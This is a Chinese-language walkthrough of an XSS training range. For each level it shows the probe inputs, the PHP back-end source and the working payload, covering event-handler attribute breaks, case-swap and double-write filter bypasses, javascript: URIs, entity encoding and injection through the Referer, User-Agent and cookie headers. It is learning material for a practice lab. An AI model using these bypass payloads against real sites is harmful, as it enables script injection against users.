一个XSS靶场练习记录

https://blog.csdn.net/qq_41500251/article/details/101116697


001.level 1 反射型

1、观察源码

<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>

修改?name=<script>alert()</script>即可

002.level 2

1、测试输入

输入123

输出

全部输出

输入特殊字符

'<>?\"/6666

查看页面源码

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219194808.png?1609079862970

实体化了< > "

2、尝试构造payload

原:<input name=keyword value="123">

payload:" onclick=alert("xss")>

成功弹窗

疑问:为什么我使用了过滤的字符,依旧可以执行呢?

查看后台源码

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>

可以发现,没有找到和".htmlspecialchars($str)."相关的结果,使用了过滤,而<input name=keyword value="'.$str.'">并没有过滤,即,该题是伪过滤,

总结找到鼠标单击的区域的方:

$\color{red}{右键打开firebug查看元素}$

003.level 3

1、测试输入

输入123

查看页面源码

<input name=keyword value='123'>

输入特殊字符

'<>?\:"/6666

查看页面源码

<input name=keyword value=''&lt;&gt;?\:&quot;/6666'>

对< > "过滤

2、尝试构造payload

'onclick=alert(0) '

再点击搜索框即可

004.level 4

1、测试输入

输入123

查看页面源码

<input name=keyword value="123">

易知需要”闭合

输入特殊字符

'<>?\:"/6666

查看页面源码

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219213502.png?1609079862997

过滤了< >

2、构造payload

" onclick=alert(0)

通过

3、查看后端源码

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

005.level 5

1、测试输入

输入123

查看页面源码

易知需要 ” 闭合

输入特殊字符

'<>?\:"/6666

没有进行过滤

2、构造payload

<script>alert(1)</script>

没有弹窗,查看页面源码

<input name=keyword value="" <scr_ipt>alert(1)</script> ">

发现script中间插入 _

使用其他方法绕过

" onclick=alert(0)

查看页面源码

<input name=keyword value="" o_nclick=alert(0) ">

发现on中间插入 _

使用其他方法绕过

> <a href='javascript:alert(0)'>111</a>

006.level 6

1、测试输入

输入123456

查看页面源码

易知需要 ” 闭合

输入特殊字符

'<>?\:"/6666

没有进行过滤

页面源码

<h2 align=center>没有找到和123456相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="123456">

2、构造payload

" > <script>alert(1)</script>

页面显示

<form action=level6.php method=GET>
<input name=keyword value="" > <scr_ipt>alert(1)</script> ">

可知关键字script被过滤了

尝试绕过

" > <ScRipt>alert(1)</sCript>

成功

007.level 7

1、测试输入

输入123456

查看页面源码

易知需要 ” 闭合

输入特殊字符

'<>?\:"/6666

没有进行过滤

输入关键字

script on src data href

页面源码

<form action=level7.php method=GET>
<input name=keyword value=" ">

全部替换成空

尝试大小写绕过

sCripT On sRc dAta Href

同样全部替换成空

2、构造payload

" > <scrscriptipt>alert(1)</sscriptcript>

成功

008.level 8

1、测试输入

输入123456

查看页面源码

</center><center><BR><a href="123456">友情链接</a></center><center>

易知需要 ” 闭合

输入特殊字符

'<>?\:"/6666

查看页面源码

</center><center><BR><a href="'<>?\:&quot/6666">友情链接</a></center><center>

过滤了 "

输入关键字 并大小写

script sCripT on On src sRc data dAta href Href

全部过滤了

</center><center><BR><a href="scr_ipt o_n sscr_ipt scr_ipt o_n o_n sr_c sr_c da_ta da_ta hr_ef hr_efrc da_ta hr_ef">友情链接</a></center><center>

尝试双写绕过

scrscriptipt oonn ssrcrc ddataata hhrefref

全部过滤了

</center><center><BR><a href="scrscr_iptipt oo_nn ssr_crc dda_taata hhr_efref">友情链接</a></center><center><img src=level8.jpg></center>

尝试使用HTML实体编码绕过

javascript:alert(1)

成功弹窗

另外一种解法

对一下进行HTML编码

>友情链接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>

>友情链接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>

失败,不知为什么。。

009.level 9

1、测试输入

输入123456

查看页面源码

</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

进行过滤了

输入特殊字符

'<>?\:"/6666

查看页面源码

</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

进行过滤了

不太对劲,查看后台源码

if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

会检查是否存在http://

2、构造payload

javascript:alert("http:// ")

发现对script进行过滤

javascript:alert("http:// ")

成功

010.level 10

1、测试输入

输入123456

查看页面源码

<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和123456!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>

查看后台源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

发现后台获取两个参数,且t_sort可以利用,并且过滤了< >字符

2、构造payload

?t_sort=0" onclick=alert(1) type="text"

011.level 11

1、猜测同上一题

查看后台源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可知,后台从http请求头获得了referer参数

2、构造payload

" onmouseover=alert(11) type="text"

012.level 12

1、查看源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从HTTP_USER_AGENT获得参数值

2、构造payload

" onmouseover=alert(0) type=""

013.level 13

1、查看源码

<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从cookie中获得user参数的值

2、构造payload

" onmouseover=alert(0) type=""

014.level 14

查看教程

这关是利用修改exif信息,在exif信息中写入xss代码,然后上传上去,别人点击这个图片就会中招。

暂时跳过

015.level 15

1、查看源码

<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include指令用于包含外部的 HTML 文件。即'.htmlspecialchars($str).'

2、构造payload

?src='./level1.php'

失败,暂时跳过

016.level 16

1、刷新,抓包,

<center>test</center><center><img src=level16.png></center>

没办法,只好看后台源码

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

先小写,过滤script,空格,/

2、构造payload

?keyword=<svg%0aonload=alert(0) ></svg>

?keyword=<svg%0onmouseover=alert(0) ></svg>

017.level 17

1、观察url,测试输入

?arg01=123&arg02=456

页面源码

<embed src=xsf01.swf?123=456 width=100% heigth=100%>

输入特殊字符

?arg01='<>?\:"/6666&arg02='<>?\:"/6666

页面源码

<embed src=xsf01.swf?'&lt;&gt;?\:&quot;/6666='&lt;&gt;?\:&quot;/6666 width=100% heigth=100%>

易知过滤了< > "

输入关键字

?arg01=script sCripT on On src sRc data dAta href Href&arg02=456

页面源码

<embed src=xsf01.swf?script sCripT on On src sRc data dAta href Href=456 width=100% heigth=100%>

2、构造payload

?arg01=123&arg02=456 onclick=alert(0)

成功

018.level 18

解题过程同上

019.level 19

1、观察url,测试输入

?arg01=123&arg02=456

页面源码

<embed src="xsf03.swf?123=456" width=100% heigth=100%>

2、查资料,这个是flash xss,涉及到反编译,

解题连接

https://www.jianshu.com/p/4e3a517bc4ea

后台源码

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

3、详细过程

使用硕思闪客精灵

将xsf03.swf导出为HTML5文件

大致内容如下

<!DOCTYPE HTML>
<html> <head>
<style>*{margin:0;padding:0;}</style>
<meta charset="utf-8" />
<title></title>
</head> <body style="overflow:hidden;"> <script>var data ={"Bg":"#FFFFFF","FV":"8","Fc":"1","Fh":"100","Fr":30.0,"Fw":"300","Ft":{"xi":0,"xm":300,"yi":0,"ym":100}....}
</script>
<script src="sprite.js"></script> </body>
</html>

并没有找到有用的信息

跳过

020.level 20

跳过

xss靶场详解的更多相关文章

  1. Flash XSS 漏洞详解 根治的好办法

    本文的目的是深层次的分析Flash的ExternalInterface的XSS漏洞,并提出比较有效的解决方案.   首先,我们看看什么情况下,会出现XSS.   第一种情况:        把flas ...

  2. 网络攻击-XSS攻击详解

    特别提示:本人博客部分有参考网络其他博客,但均是本人亲手编写过并验证通过.如发现博客有错误,请及时提出以免误导其他人,谢谢!欢迎转载,但记得标明文章出处:http://www.cnblogs.com/ ...

  3. StringEscapeUtils防止xss攻击详解

    StringUtils和StringEscapeUtils这两个实用类. 1.转义防止xss攻击 1.转义可以分为下面的几种情况 第一用户输入特殊字符的时候,在提及的时候不做任何处理保持到数据库,当用 ...

  4. PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等

    页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...

  5. 第六天实验详解——dedecms通过xss漏洞写马

    第六天实验详解 **XSS跨站攻击的分类** XSS漏洞类型主要分为持久型和非持久型两种: 1. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 2. 持久型X ...

  6. web框架详解之 tornado 四 模板引擎、session、验证码、xss

    一.模板引擎 基本使用 继承,extends 页面整体布局用继承 导入,include 如果是小组件等重复的那么就用导入 下面是目录 首先在controllers里面创建一个文件,文件里面是页面类 # ...

  7. XSS与CSRF详解

    XSS与CSRF详解 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起 ...

  8. 程序员必备:详解XSS和CSRF

    做开发的小伙伴想必都不陌生XSS 和 CSRF,但也有一些刚接触的朋友还不是很清楚,今天就给大家详解下XSS和CSRF! 一.XSS xss,即 Cross Site Script,中翻译是跨站脚本攻 ...

  9. XSS(跨站脚本攻击)详解

    跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web ...

随机推荐

  1. 深入浅出Mybatis系列 强大的动态SQL

    上篇文章<深入浅出Mybatis系列(八)---mapper映射文件配置之select.resultMap>简单介绍了mybatis的查询,至此,CRUD都已讲完.本文将介绍mybatis ...

  2. mysql-font1251错误

    控制台中先连接mysql: ALTER USER 'root'@'localhost' IDENTIFIED BY 'password' PASSWORD EXPIRE NEVER; ALTER US ...

  3. 解决npm ERR!

    一:[Unexpected end of JSON input while parsing near]报错 最近的vue项目中在执行 npm install 时会报错误: npm ERR! Unexp ...

  4. golang unsafe.Pointer与uintptr

    原文地址:https://blog.fanscore.cn/p/33/ 先说结论 uintptr 是一个地址数值,它不是指针,与地址上的对象没有引用关系,垃圾回收器不会因为有一个uintptr类型的值 ...

  5. 2020再见&新的计划(建立Android体系架构)

    2020,再见 关于2020,我心中有四个关键词: 疫情 年初突如其来的疫情,打破了原本生活的节奏,也没想到会笼罩全世界整整一年,希望这个世界早点好起来吧. 科比 初三的早晨,噩耗传来,我一度不敢相信 ...

  6. 如何下载youtube的视频?

    导言 当youtube视频需要下载时,发现需要会员等其他限制 别急,下面就是比较稳定的方法 准备 gitub链接 youtube-dl github 官网链接 官网 按照官网提示下载对应版本 我这里是 ...

  7. filleSystemBasises

    基本查询命令 pwd 查看当前目录 dir 显示当前目录下的文件信息 more 查看文本文件的具体内容 cd 修改用户当前目录 mkdir 创建新的目录 rmdir 删除目录 copy filenam ...

  8. 【SpringMVC】SpringMVC 异常处理

    SpringMVC 异常处理 文章源码 异常处理思路 系统中异常包括两类:预期异常和运行时异常,前者通过捕获异常从而获取异常信息,后者主要通过规范代码开发.测试通过手段减少运行时异常的发生. Cont ...

  9. oracle创建恢复编录(recovery catalog)

    1.在要作为恢复编录的数据库创建用户 create user rman identified by oracle default tablespace system temporary TABLESP ...

  10. nokogiri Fail install on Ruby 2.3 for Windows #1456 <From github>

    Q: gem install railson nokogiri install fail with error: 'nokogiri requires Ruby version < 2.3, & ...